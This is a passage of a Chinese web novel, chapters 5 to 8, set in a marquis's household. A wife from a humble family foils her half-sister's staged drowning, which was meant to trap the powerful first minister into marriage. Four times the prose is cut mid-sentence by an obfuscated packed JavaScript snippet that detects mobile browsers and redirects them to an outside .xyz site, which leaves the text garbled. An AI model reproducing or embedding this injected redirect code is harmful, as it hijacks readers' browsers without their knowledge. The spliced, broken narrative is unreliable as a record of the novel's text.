陆长稽虽是庶子却权倾天下,放眼整个侯府,便是陆凛都不敢给他眼色瞧。杨氏口中的贵人十之八九便是陆长稽。 姜姝轻嗤一声,姜然是个什么东西,竟也敢肖想如圭如璋的陆长稽? 到了开宴那一日,姜然若敢做出败坏姜家门风的事,她定叫姜然吃不了兜着走。 折腾了这一番,姜姝只觉得疲累不堪,小憩了一会子便到了申时。 姜姝是赵氏嫡亲的儿媳,赵氏虽瞧不上她,却也不会对她放任不管,每日申时三刻让姜姝到宴西堂,教她管家理账。 姜姝知道好歹,学习管家时十分认真,她起身换了一件衣裳,欲要前往宴西堂。 这时,长顺从内间出来,躬身对姜姝道:“三奶奶,世子睡醒了。” 陆长易身子不好,睡眠也比常人多的多,姜姝平时到宴西堂的时候,他十之八九都在午憩,今日倒是难得的早起了一次。 陆长易钟意姜姝,但凡他清醒的时候,总要姜姝陪在身边。 第一次,姜姝觉得有些难受,像是有一张网,把她缚住了。 她固然感激陆长易,想要让陆长易欢喜,当紧的却是要为她自己做打算。她身世不显,在信阳侯府唯一的依仗就是陆长易,可陆长易弱不胜衣,万一、万一不幸早逝,她总得有安身立命的本事。 不说旁的,最起码她得挑起世子夫人的重坦,替侯夫人分忧。 人有本事傍身,才能立起来。 姜姝踌躇片刻,转头看向长顺,温柔却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994295|178099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又坚定地说道:“你好生伺候世子,暮食前我便回来陪世子用膳。” 话毕,不再犹豫,随着周嬷嬷出了欣春苑。 长顺一时之间有些怔忪,世子夫人温柔贤淑,对世子一向百依百顺,今日怎么忽得就把世子抛到脑后了? 想到世子的脾性,长顺只觉得头疼,他踌躇片刻,硬着头皮进了屋。 长顺低垂着头,恨不得把脑袋贴到地面上去,声音也低若蚊蝇:“世子,宴西堂的周妈妈来请,三奶奶随着周妈妈到宴西堂理账去了。” 八仙桌上放着一碗汤药,汤药的热气弥漫在空气中,遮挡着陆长易的面颊,长顺看不清也不敢看陆长易的表情,只听到陆长易低得发沉的声音。 “等三奶奶回来了,你往宴西堂走一趟,告诉侯夫人,我娶姜氏进门从来都不是为了让她独当一面,以后不要让她去学庶务了。” 他钟意她,想要时时刻刻和她腻在一起,学那劳什子的庶务做什么? 长顺长舒一口气,垂着头退出内间。 姜姝来到宴西堂,还未进入花厅便听侍女卓儿禀告:“三奶奶,侯夫人现下在接待宣政史夫人,请您在屋外稍待!” 赵氏打心底瞧不上姜姝,姜姝每每到宴西堂,她总要拿乔一番。姜姝也不在意,只要能学到真本事,站一会子又算得了什么? 六月的天说变就变,不过一盏茶的功夫,天上忽得就布满了阴云,瓢泼大雨兜头而下。 现下这种情形,姜姝合该到屋内避雨,可惜,赵氏不发话她不敢擅自做主,只能继续站在树下任雨水淋浇。 姜姝穿的薄,丝绢所制的衣裳被雨水浇透,服帖地粘到身上,姜姝身前的酥山愈发显得高耸挺拔。 姜姝垂眸往下扫了一眼,羞窘的红了脸,她把缠在手臂上的披帛散开,覆到胸前。 白雨茫茫,一片阴影笼罩在身体四周,姜姝抬起头,只见一道藏青色身影站在她身旁,那人掷着一把雨伞,替她挡住风雨。 “大伯!”姜姝看着来人,低声喃喃。 5. 第五章 姜姝并不是当下时兴的娇弱美人,她肤白胜雪、纤秾合度,衣服贴在身上,该凸的部位高高凸起,该凹的部位深深凹陷,曲线玲珑,便是想要忽略都难。 陆长稽生得高,只消稍稍垂眸就能把美色尽收眼底,他是恪守礼节的君子,狭长的丹凤眼一直凝着油纸伞上的青竹花纹,半点眸光都未落到姜姝身上。 他温声对姜姝道:“雨势猛烈,你擎着伞到檐下去罢!” 侯府权势正盛,犹如烈火烹油、鲜花着锦,这份荣光是靠陆长稽挣来的,陆长稽发了话,便是赵氏也不敢置喙。 姜姝点点头,握住碧青色的伞柄,缓缓向檐下走去。 卓儿对姜姝不冷不热,对陆长稽却十分殷勤,陆长稽还未行到檐下,她就将花厅的雕花木门大开,含笑说道:“风雨交加,大爷若有要事,让下人知会一声便是,怎得亲自过来了?” 陆长稽并不接卓儿的话头,只道:“我有要事与母亲相商,母亲可有空闲?” 卓儿站在房门旁边,对陆长稽做了个“请”的手势,笑盈盈道:“夫人每日上半晌理事,下半晌一向清闲,大爷快快入内罢!” 竟是连通传都不需要,直接便将人请到了屋内,姜姝望着华丽的房门默默叹了一口气。 赵氏原就愿意给她立规矩,现下又要跟陆长稽议事,也不知道要让她站到几时。 若被人瞧见她这副衣衫不整的样子,不知得传出多么腌臜的话来。 姜姝做好了被磋磨的准备,没想到卓儿很快就去而复返,她对姜姝道:“西厢房有供客人替换的衣裳,二奶奶到厢房换一身衣裳罢,虽说是夏日,却也不好总穿着湿衣,没得冻坏了身子。” 卓儿一惯喜欢捧高踩低,若没有赵氏示意,定不会擅作主张请姜姝到厢房换衣。 姜姝只觉得纳罕,平白无故的,赵氏为何变得这样和善,思忖间,脑海中忽得浮现出陆长稽的身影。 适才莫不是陆长稽在侯夫人跟前为她说情了? 这个念头刚刚冒出来,就又被姜姝遏住,陆长稽执掌内阁,日理万机,从来不管内宅的事,又如何会给她求情? 她真是被那厨娘的话给荼毒了,想要找大伯借种也就罢了,竟还敢肖想大伯替她说话,简直、简直恬不知耻。 姜姝换完衣裳,行到花厅的时候陆长稽已经离开,赵氏招招手,让她坐到案几前理账。 姜姝学得很快,遇到不懂的地方会潜心向赵氏求教,赵氏出身大家,做事极有章程,她对姜姝虽没有好声气儿,却会不余遗力的教导,姜姝进门不过半年,已对掌家有了自己的见解。 待算完账,姜姝才斟酌着开了口:“母亲,家中时常举行宴会,却从未给儿媳的娘家发过帖子。 儿媳知道自己家世不显,姜家无法和侯府比拟,但儿媳既已和世子成了亲,陆姜两家便是正经的姻亲,亲戚之间互相走动才是正理。” 赵氏乜了姜姝一眼,平心而论,她这个儿媳除了出身太过于低微,无论心性还是处事的手段都还算凑合。 夫妇一体,她若执意不和姜家来往,便是陆长易的面子都过不去。 赵氏拿出两张请帖掷到姜姝跟前:“侯府清贵,绝不跟上不得台面的妾室来往,你若想让姜家人参加侯府的宴会,便请杨氏和嫡出的二小姐过来,旁的人一概不许进门。” 赵氏口中的旁人,便是姜姝的生母林氏和她血亲的幼妹姜容。便是普通人家都不会让小妾进门,更遑论规矩森严的信阳侯府。 姜姝知道规矩,并不做无妄的臆想,她接过请帖,温声对赵氏道:“多谢母亲体恤,儿媳这便给娘家人下帖子。” 她一面说话一面提笔写字,姜姝的簪花小楷只能算是工整,若论风骨是半点也没有的。 旁人家的嫡母唯恐传出苛待庶女的名声,杨氏却从不顾忌名声,她以拮据为由,将姜姝拘在家里做女红,姜家三位小娘子,只有嫡出的姜然进过女学。 姜姝借着给姜文焕伺候笔墨的机会,粗略的识得了几个字,这手不像样的簪花小凯还是嫁到信阳侯府以后学的。 赵氏瞥了一眼姜姝写的请帖,没好气道:“帖子的内容尚能凑合,你这笔字却有碍观瞻,回去以后要勤加练习,没得给侯府丢人。” 赵氏说完话就合上了眼,抬起手臂轻轻揉捏着太阳穴。姜姝知道她这是乏了,便识相地起身告辞。 回到欣春苑,姜姝从库房取了几匹时兴的料子,令珠儿连同请帖一同送到姜宅。 杨氏只在绸缎庄见过这种好东西,要说去买,她是断然舍不得的,她看着那些颜色鲜亮的料子对姜然道:“这批料子是从蜀地运过来的,一寸蜀锦一寸金,端的是华贵精美。” “前几日给你做的衣裳也不用穿了,杭绸再好也及不上蜀锦。你快挑几匹合眼的,让绣娘裁了做一身衣裳,我儿原就生得标致,再有蜀锦加持,定能艳压群芳,得到陆首辅的青睐。” 女儿肖父,诚不我欺。姜然生得和姜文焕有五六分相似,瞧起来清雅脱俗,很有几分书卷气。清雅的面容配上鲜亮的衣裳犹如海棠初开,明丽照人。 姜然也不客气,挑了三匹最鲜亮的料子,对吴婆子道:“你把这婆子送到锦绣坊,让刘绣娘按我的尺寸做一身褙子,记得一定要找刘绣娘,整个锦绣坊,旁人的手艺都及不上她。” 吴婆子道是,抱起料子便要往门外走,这时只见下值的姜文焕进了门。 姜文焕的目光在吴婆子怀中的蜀锦上扫过,自觉那颜色五彩斑斓,太过于耀眼,随口问道:“谁要用这料子做衣裳?” 杨氏挥手将吴婆子打发出去,开口说道:“大姐儿给我和然姐儿发了请帖,邀我们娘儿俩到信阳侯府参加宴会。” “信阳侯府气派煊赫,咱们也不能太小家子气。我便想着给然姐儿做两身好衣裳,衣裳气派了,然姐也跟着有底气。” 姜文焕皱起眉头:“咱们家和信阳侯府原就不大相配,低调尚且来不及,何故打扮的那样招摇?” 杨氏撇撇嘴,翘起手指头刮了刮茶沫子,没好气道:“老爷好生偏心,姝姐儿得了运道嫁进了信阳侯府,就不许我给然姐儿筹谋?” 杨氏这口气大的,简直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994296|178099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能把地上的牛吹到天上。姜文焕直接就被气笑了,讥讽道:“信阳侯府统共只有三子,世子和三爷皆已成亲,你想如何给然姐儿筹谋,难不成想让然姐儿给那信阳侯做妾?” 他知道杨氏喜欢攀龙附凤,没想到竟癫狂到了让女儿做妾的地步,小妾说的好听,真论起来,跟底下的奴婢也没什么两样,再者姜然若是给信阳侯做妾,就生生比姜姝大了一辈,不伦不类,姜文焕便是再没有风骨,也不会做被人戳脊梁骨的事儿。 杨氏轻嗤一声,对姜文焕道:“然姐儿是从我的肚子里爬出来的,我怎么舍得作践她。” “老爷适才不是也说了,信阳侯府共有三子,那长子可还没有成亲呢。然姐儿生得这样好,跟那陆长稽也不是不相配。” 姜文焕被杨氏唬了一跳,漆眸圆睁,眼珠子险些从眼眶里跳出来,他指着杨氏道:“你莫不是癔症了,属实是祖坟冒了青烟,姝姐儿才高攀上世子。你怎么还敢首辅大人?” “陆首辅位高权重,说是当朝第一人都不为过,我为官多年,连给陆首辅提鞋的资格都没有,又怎么敢生出给他当岳丈的心思。” 杨氏跋扈惯了,从来都不把姜文焕的话放在心上,她挑起眉头,反唇相讥:“你不敢生出给陆首辅当岳丈的心思是你没用,休要说这些丧气话阻碍我儿的大好前程。 然姐儿的身份不知比姝姐儿体面多少,姝姐儿尚能嫁给世子做正妻,然姐儿如何就不能嫁给陆首辅?” 杨氏惯会胡搅蛮缠,按说这个时候姜文焕当正一正夫纲,奈何二人早已形成了妻强夫弱的习惯,饶是气得怒火中烧,姜文焕也没什么计策,只捶胸顿足的哀叹。 “姝姐儿能嫁到信阳侯府,是因为我对信阳侯有救命之恩,跟身份地位有什么相干?若真论身份,咱们家和信阳侯府实在是不相配的。” 诚然姜文焕的话十分有道理,杨氏却并不放在心上,从姜姝送的蜀锦里面挑了最暗沉的一匹赏给了林姨娘,复又叫来厨娘:“来而不往非礼也,大姑奶奶给咱们送了布匹,咱们也不能没有表示。” “你且去蒸一碟子黄米红枣糕送到信阳侯府,大姑奶奶就好这一口,如此也算咱们的回礼了。” 厨娘暗暗腹诽:价值相当的东西才叫回礼,蜀锦价值千金,那黄米糕才值几个钱,太太的脸皮越发厚实了。 腹诽归腹诽,厨娘半点都不敢怠慢杨氏,很快就蒸了一碟子黄米红枣糕,用食盒装了,坐着马车把黄米红枣糕送到了欣春苑。 黄米红枣糕是小户人家的吃食,姜姝嫁到信阳侯府以后就没吃过这一口,还真有些馋嘴,当即就取了筷子,小口小口品尝起来。 这时,虚掩的房门被人推开,周妈妈端着一碗汤药进了屋。 周妈妈向姜姝行了个礼,温声道:“这碗坐胎药是宫里的康太医开的,康太医有妇科圣手之称,但凡由他调理过的妇人,就没有怀不上身孕的。 二奶奶快把这碗药喝了,也好快些为世子开枝散叶。” 口中甜甜糯糯的黄米糕立马就失了滋味,姜姝坐直身体,神经也绷成了一根弦。 6. 第六章 开枝散叶、开枝散叶…… 陆长易现在根本就不能人道,她又如何开得了枝、散得了叶。 姜姝盯着那碗汤药,只觉得头疼欲裂,想到赵氏的警告愈发难受,她不想背叛陆长易,可更不想被休回娘家,除了找大伯借1种,难道就寻不出两全的法子了吗? 陆长稽颀长的身影浮现在姜姝的脑海中,姜姝不由心跳加速,她还什么都未做,只起了一个念头,就仿若亵渎了神灵。 大伯那样的人物,岳峙渊渟,高洁沉稳,她真的可以…… “二奶奶,汤药凉了伤身,您还是快些把药用了罢!”姜姝的思绪被周嬷嬷打断,她脸颊一红,忙把目光投向面前的汤药。 满满一海碗汤药,呈深褐色,散发着浓浓的苦涩味。 自打嫁进信阳侯府,姜姝没有一日不沉浸在中药的苦涩味中。她现下最厌恶的便是中药的味道。 可惜,人在屋檐下不得不低头,即便她厌恶这个味道,也不能拒绝。 夫妇一体,她总不能让旁人知晓陆长易的隐疾。 姜姝深吸一口气,刚要饮那碗中药,便见陆长易黑着脸从内室行了出来。 他把药碗从姜姝手中夺过,重重掼到八仙桌上,沉着嗓子发作周嬷嬷:“好端端的,给二奶奶喝这些汤药做什么,是药三分毒,我已然沉疴难医,你们还想让三奶奶也躺到榻上不成?” 百善孝为先,长辈身边的猫儿狗儿都比别处的更尊贵,更遑论长辈的贴身嬷嬷。有规矩的人家,即便是主子,对父母的随侍也十分尊重。 陆长易却不然,他自幼体弱,除却待姜姝十分温和,待旁人一惯的乖戾,莫说赵氏的随侍,便是待赵氏,也是有火就发。 周嬷嬷大气都不敢出,只温声向陆长易解释:“这汤药药性温和,于身子并无……” “你还啰嗦什么?”周嬷嬷话还未说完就被陆长易打断,“你快些回宴西堂去,我瞧见你就头疼,怕是连膳食都用不下了。” 世子的身子比珠玉都金贵,若真因着自己用不下膳食,怕是赵氏都得大发雷霆,周嬷嬷不再多言,躬着身子退到了门外。 原本闹哄哄的屋子一下子就安静下来,陆长易伸手把姜姝搂到怀中,轻轻在她额角吻了一下,低声道:“是我对不住你,分明是我身子不济,却还要连累你被人非议,真真委屈你了。” “要不然我再让长顺去寻一副壮……” “世子……”姜姝打断陆长易的话,“那虎狼之药怎么能随便用,伤了根本就得不偿失了。” 壮1阳之药于常人来说都有害无益,对于病弱的陆长易而言简直和夺命的刀也没什么两样。 姜姝尤记得新婚第二天陆长易昏迷时的景象,那次陆长易足足昏迷三天三夜,她只当陆长易原本就羸弱,后来才知道是用了虎狼之药的缘故。 她断不能因为一己之私伤害他的身子。 姜姝回抱住陆长易,只觉得他的身子更薄了,双臂环住他的时候还能长出一大截,他的腰怕是比她的还要细。 陆长易是泡在药罐子里长大的,因着体弱,大夫只一心给他调理身子,倒是没有着重瞧过男科。 说不定寻一个医术高超的男科大夫瞧一瞧,陆长易便能起来了呢? 姜姝顿时无地自容起来,觉得脸颊火辣辣的,按怪自己孟浪无状,她都没有找大夫给世子调理过,怎么就能觊觎大伯?她真是昏了头了。 她温声对陆长易道:“世子不要灰心,我们寻一个擅男科的大夫瞧一瞧罢,说不定到时候就能有所好转。” 她的话果然给陆长易带来了曙光,陆长易暗沉沉的眼眸散发出灼人的光彩,他唤来长顺,低声吩咐几句,随后长顺便出了门。 秦大夫是宫里的太医,专司男科,给陆长易问完脉后,很是沉默了一会儿,他沉吟片刻,低声道:“世子脉象虚浮,肾气不足,若想人伦,断不能急于一时,需细细调理。” 太医有自己的准则,不到万不得已绝不会把话说死,秦太医提笔写了一个方子,温声对陆长易道:“世子且慢慢调理,半旬之后老夫再来给您诊脉。” 当局者迷,旁观者清。世人总能一眼就瞧出旁人的症结,可若事情发生在自己身上,只要见到一点希冀,就仿佛已然要成功一样。 听了秦太医的话,陆长易和姜姝都十分高兴,姜姝亲自给陆长易煎了药,正要伺候他喝药,方玉掀开门帘进了屋。 方玉是赵氏拨给姜姝的大丫鬟,训练有素,端得是四平八稳。 方玉躬身向姜姝行了礼,开口说道:“二奶奶,夫人传话过来,道待您操持完明日的宴会,以后便无需再到宴西堂学习管家了。” 方玉的话犹如晴天霹雳,打了姜姝个措手不及。管家理事是宗妇的分内事,她在信阳侯府原就没有威信,若不会管家,以后还怎么立足。 姜姝从未求陆长易做过什么,这次却不由把目光投向陆长易,低声说道:“世子,我出身低微、才疏学浅,并没有安身立命的本事。 原想好生学习管家的技艺为母亲分忧,现下母亲却不让我学了,我实在是惶恐不已,您能不能给我说说情,让我继续学习管家的技艺,我总不好日日缩在这院墙内。” 陆长易定定地瞧着姜姝,神色半点波澜都没有:“你不要忧心,我明日便去寻母亲给你说情。我身子不好,已然亏待了你,旁的方面总要让称心如意。” 姜姝感动不已,把陆长易扶到拔步床上,给他擦拭完身子以后,才忍着暑夏的热气进入梦乡。 很快就到了十五,信阳侯府大摆宴席,门外的马车足足占了一条街,姜家的马车混迹其中,越发显得寒酸。 姜姝拿着对牌给下人分派活计,忙活了大半个时辰才腾出空闲。她招手唤来珠儿,低声问道:“杨氏和姜然可还安分?” 珠儿道:“侯府的席面阔绰,山上跑的、水里游、天上飞的应有尽有,杨氏现下的心思都在席面上,倒是没有出什么幺蛾子。” 姜姝并没有放松警惕:“杨氏今日必然有所图,一定要把她盯紧了。” 珠儿道是,复又行到前厅。 信阳侯府气派非凡,后花园更是遍植奇花异草、远近闻名,女客吃完席以后,由侯夫人引着,尽数前往后花园赏花。 一行人一边散步一边赏景,杨氏和姜然混迹其中,倒是没有什么人注意她俩。 行到春风亭的时候,杨氏的丫鬟青玉悄悄闪到杨氏身边,凑到她耳边低语几句。杨氏勾勾唇角,转而拉住姜然的衣袖轻轻扯动。姜然会意,意味深长的点了点头。 这时,赵氏又带着众人往前走,约莫行了百米,忽听姜然“呀”了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994297|178099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,姜然故作腼腆地笑了笑,抬手摸向自己的耳朵,低声道:“我的耳坠子不见了,约莫是用膳的时候落到了厢房。” 耳坠子不值什么,但闺阁女子的贴身物品若落到有心人手中,便是大大的不妙。 赵氏原就不喜欢姜家人,得知姜然丢三落四愈发不悦,她撇了撇嘴对姜然道:“你快些回去寻一寻,没得弄丢了,传说风言风语。” 姜然道是,遂沿着来时的路往回折返。 姜然走到后花园门口,一眼就瞧见了侯在一侧的青玉,她压低声音问道:“陆首辅在哪儿?” 青玉伸手指了指一侧的院子:“在碧雪堂的凉亭里看书。” 侯府占地广,府内单造景的院子就有三四座,碧雪堂便是其中之一。因着那院子专门为主子赏景所造,便力求雅致清净,是以除却清早洒扫,院内并没有丫鬟和小厮。 姜然十分顺利地进了院门,入目是一汪碧湖,湖边有一凉亭,远远地就看到一个身穿靛青色圆领衫的男子正坐在凉亭内看书。 他看书的姿态很闲适,却莫名地给人严谨之感,还没走近,姜然就感觉到了上位者的威严和压迫。 她深吸一口气,抬手整了整精心梳理的发髻,聘聘婷婷向凉亭走去。离陆长稽越近,姜然的心跳得越快。 她只听说过陆长稽身居高位、性情高洁,却不知道他生得也那样出色。脸颊棱角分明,一双眼睛又黑又深沉,简直能把人的魂魄都吸进去。 若能觅得这样的人做夫婿,便是死也值得了。 既是偶遇,便要做出十二分的闲适来。姜然只装作没看到陆长稽,慢慢悠悠沿着湖边的小径慢行,便连走路的姿态都是特地练习过的,很有几分风韵。 走了一段路,她驻足在凉亭右侧,这个位置离陆长稽不远不近,既不显得刻意,又能保证落水时第一时间被陆长稽瞧见。 听人说陆长稽如璋如圭、厚德流光,品行最是高洁。这院子里没有下人,她若落了水,他定要出手相助,到时候便是为了维护她的名声,他也得娶她进门。 姜然越想越觉得前途可期,便连跳水都是轻快有力的。 “哎呀!”她高高呼了一声,而后便像翩然的花蝴蝶一般掉落到湖中。 理想是丰满的,然而姜然却低估了湖水的威力,湖水源源不断地挤压着她,身子不受控制地往水下沉去,湖水漫过她的胸口,漫过她的下巴,直灌到她的口中。 她随时都有可能被淹死。 恐惧蔓延到四肢百骸,姜然再顾不得在陆长稽面前塑造窈窕的形象,手脚并用,像八爪鱼一样胡乱挣扎起来。 四肢击打起白色的浪花,视线也变得模糊,姜然几欲绝望之际,隐隐约约瞧见有一道身影向她的方向游了过来。 手脚僵得发硬,心却软成了一滩水,姜然尚浸在湖水中,却仿佛已经预见到了自己成为首辅夫人时前呼后拥的无两风光。 那身影离她越来越近,她的心跳声也越来越响,姜然深吸一口气,发出一道甜的发腻的声音:“陆大人!” “二妹妹莫不是被泡的癔症了,怎么连人都认不清。” 姜然倏得瞪大眼睛,朝她游过来的人哪里是陆长稽,分明是姜姝那个贱人。 她眼睛一闭,泡的发白的脸色隐隐泛出青紫,当即晕厥在水中。 7. 第七章 杨氏怀有姜彬的时候,以姜姝的属相和姜彬相冲,将姜姝和林氏赶到庄子住了一年。 乡下的生活虽贫苦,却也自由快乐,姜姝便是在那一年学会洑水的。原本也没指望洑水能有什么用处,没想到阴差阳错倒是能破掉杨氏母女的局。 姜姝把姜然拖到岸边,冲着姜然的脸左右开弓扇了两个响亮的耳光,一边扇一边道:“二妹妹,你快醒醒呀,你若是有什么三长两短,我可怎么向母亲交待。” 姜然的脸原就被水泡得有些发胀,被姜姝扇了两个耳光后直接肿成了酱紫色的发面馒头,除却狼狈,哪里还有半点风姿可言。 即便挨了掌掴,姜然依旧没有转醒的迹象,姜姝双手交叠覆到姜然胸口,用力按压,把姜然腹中的湖水按出来以后,姜然才幽幽转醒。 杨氏估摸着时间差不多了,便说想去碧雪堂瞧一瞧,女孩子家脸皮薄,即便与人有了肌肤之亲也不能说什么,她这个做母亲的得适时为她做主。 到时候母女二人一个唱白脸,一个唱红脸,定得让那陆长稽将她的然姐儿娶了去。 碧雪堂不过一个造景的园子,杨氏既想去,赵氏便由了她,一行人浩浩荡荡进了门。 杨氏擎等着将贵婿纳到囊中,哪成想八角亭早已人去楼空,只看到自己的心肝儿仰卧在湖边,衣衫凌乱,头发散在地上沾着糊状的泥土,连原本的颜色都瞧不真切了,再看姜然那张让她引以为傲的脸,现下又肿又涨,状如猪头,哪里还能见人。 “我的儿,你这是怎么了?”杨氏大呼一声,肥胖的身体像一头奔跑的肥牛,三两步就奔到姜然身边。 姜然抬起眼皮扫视四周,入目之人无不衣着考究、装扮华美,那些人自持身份,虽没有开口嘲笑她,眸中的讥讽之意却不加掩饰。 再瞧湖边的凉亭,空空如也,哪里还有陆长稽的身影。 姜然忿忿地握紧衣袖,心如死灰。 都怪姜姝这个贱人,若不是姜姝横插一杠子,陆长稽又如何会见死不救。 姜然自觉受了天大的委屈,可惜这些委屈不能宣之于口,她呜咽两声,缩到杨氏怀中,不停地抽泣。 杨氏鼻子一酸,也险些流下眼泪来,她恨恨地看向姜姝,斥道:“你愣着做什么,还不赶紧让人把然姐儿抬到屋内沐浴更衣。我好端端的女儿,怎么来赴个宴席就成了这副模样。” 杨氏在姜家跋扈惯了,忘了现下是在信阳侯府,话里话外责怪侯府治家不严,直接便把侯夫人给得罪了。 赵氏乜着杨氏,淡声道:“你家二姑娘不是说要到厢房寻耳坠子吗,怎么就跑到这碧雪堂来了? 知道的说是二姑娘走错了路,不知道的还当二姑娘有什么企图呢?” 赵氏拥趸众多,她话音一落,王太太就接了腔:“我怎么瞧着姜太太有些偏颇,分明是世子夫人搭救了二姑娘,姜太太不感激世子夫人也就罢了,怎么还颐指气使的?” “姜太太当着这么多人的面尚且敢作践世子夫人,世子夫人未出嫁时怕是要更艰难一些。” 杨氏是个窝里横,在场之人身份皆比她高,便是捱了呲哒也不敢多言,只垂眸给姜然擦拭面颊。 事情是在侯府出的,赵氏再不喜杨氏母女也不好袖手旁观,挥手叫来仆妇,低声吩咐:“传一架软轿把姜家二姑娘抬到东暖阁去,未出嫁的姑娘家,蓬头垢面的,算个什么回事?” 仆妇道是,合力把姜然抬到软轿上,将人抬走了。 赵氏瞥了姜姝一眼,并没有再多言,只轻声叹了一口气:“真是败兴,咱们到别处转一转罢,我是再不想踏进这碧雪堂了。” 赵氏是陆长稽的嫡母,她发了话,无人敢不从,众人又纷纷随着她出了门。 院内复又恢复安静,姜姝站起身,她虽不像姜然那样狼狈,却也好不到哪里去,衣裳湿淋淋的贴在身上,姣好的曲线暴露无遗,若到人前定是要失仪的。 她行到日光下,夏日的太阳毒辣,这样晒一会子,衣裳也能恢复如初。阳光照在身上火辣辣的,姜姝逆着光瞧见一个身穿程子衣的侍卫手捧漆盘,阔步向她行来。 那侍卫拱手向姜姝行了个礼,朗声道:“二奶奶,卑职奉陆尚书之命给您送披风。” 姜姝只当陆长稽瞧见姜然的龌龊手段后会厌恶姜家人,没想到他竟还会派人给她送披风来解燃眉之急。 姜姝感激之余,又生出几分羞愧,大伯性情高洁、如圭如璋,她怎么能、怎么能对他生出那样的心思。 热意悄悄爬上脸颊,姜姝深吸一口气,把思绪拽回现实,而后将目光投到漆盘上。 只见其上放着一件翠雾色披风,那披风是缂丝所制,做工精良,披在身上十分宽大,下摆直垂到地上去。 侍女体贴小意,旁的人家,即便男子尚未成亲,也会由侍女贴身侍候,陆长稽却不然,他的迦南院干干净净,上到侍卫下到小厮全是男丁,放眼整个院子也寻不到一件女子的衣裳,这披风料子华贵考究,怕是他自己的衣物。 想到这儿,姜姝的身子不由僵硬起来,虽说披风下还穿着她自己的衣裳,但总觉得她披着这披风,便像是和陆长稽的肌肤相触了一样。 耳后泛起红云,姜姝的心跳都快了几分,只觉得那披风像是烫手的山芋,穿着别扭,脱了也不合适,让人无所适从。 踌躇之际,忽听侍卫道:“这披风是尚衣局给陆尚书新制的,尚书尚未上过身,三奶奶且安心穿着,便是旁人瞧见了,也断说不出什么。” 不亏是陆长稽的侍卫,三两句话就给姜姝解了惑,心中的大石头落了地,姜姝也放下心来。 姜然回到姜宅,身边没有外人,总算可以尽情发泄自己的愤怒。 她拉住杨氏的手,长叹一声:“母亲,都怪姜姝那贱人挡了我的道,若不是她跳到湖中救我,陆尚书又如何会袖手旁观。” “现下可好,我不仅失掉了得嫁高门的好机会,还成了众人的笑柄,这口气我可怎么咽得下去?” 杨氏也觉得窝火:“姜姝这蹄子,莫不是觉得她成了世子夫人,就可以为所欲为了?” 杨氏一面说话一面把姜然搂到怀中,轻拍着姜然的背以做安抚:“气急伤身,事已至此,你莫要再生气了。 你若觉得憋屈,我便把姜姝叫到家里来,让你好生发作一番,她的生母被我捏在手掌心,谅她也不敢作妖。” 姜然道好,柔顺的伏在杨氏怀中:“终究还是母亲最疼我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我计划了那么久,才谋得和陆尚书独处的机会,谁要你跳下水多管闲事的,若不是你狗拿耗子,我现下说不定已经和陆尚书喜结连理了。” 姜然气得脸色涨红、呼吸急促,姜姝却面色如常,连眉头都没有皱一下,她把墨条放到一侧,温声道:“二妹妹说的是什么话,我们是嫡亲的姐妹,我瞧见你落水心急如焚,连思索都不曾,冒着溺水的危险把你从水中救了出来。你不感激我也就罢了,怎么还指责我多管闲事?” 姜姝瞥了一眼窗外,而后抽出帕子,掩住口鼻,低低抽泣了两声“都怪我没有事先询问你的计划,我若是知晓你落水是为了得到陆尚书的垂怜,便是眼见着你溺死,我也决不会出手相救。” “你还敢狡辩!”若论能言善辩,十个姜然也及不上一个姜姝,当然,在姜家,姜然是不用讲道理的,有杨氏撑腰,即便她没有道理也可以为所欲为。 姜然气势汹汹抽出插瓶里的鸡毛掸子,举起来就要往姜姝身上抽。 “你这个心术不正、丢人现眼的东西,还不赶紧住手。”姜然尚未得逞,便见姜文焕黑着脸进了门。 8. 第八章 姜文焕夺夺姜然手中的鸡毛掸子,重重丢到地上,怒目盯着杨氏:“适才屋内的争执我全然听明白了。” “我知道你想让然姐儿攀龙附凤,却没想到你和然姐儿癫狂到了这个地步。” “女子的名节何等重要,你竟想利用然姐儿的名节逼陆尚书就范,陆尚书是什么人,哪怕圣上的决定他都能左右一二,又岂会任你们妇道人家拿捏。” “若不是姝姐儿把然姐儿从湖中救了上来,怕是咱们家的里子面子都得折进去,祖宗八代的脸也不用要了。” 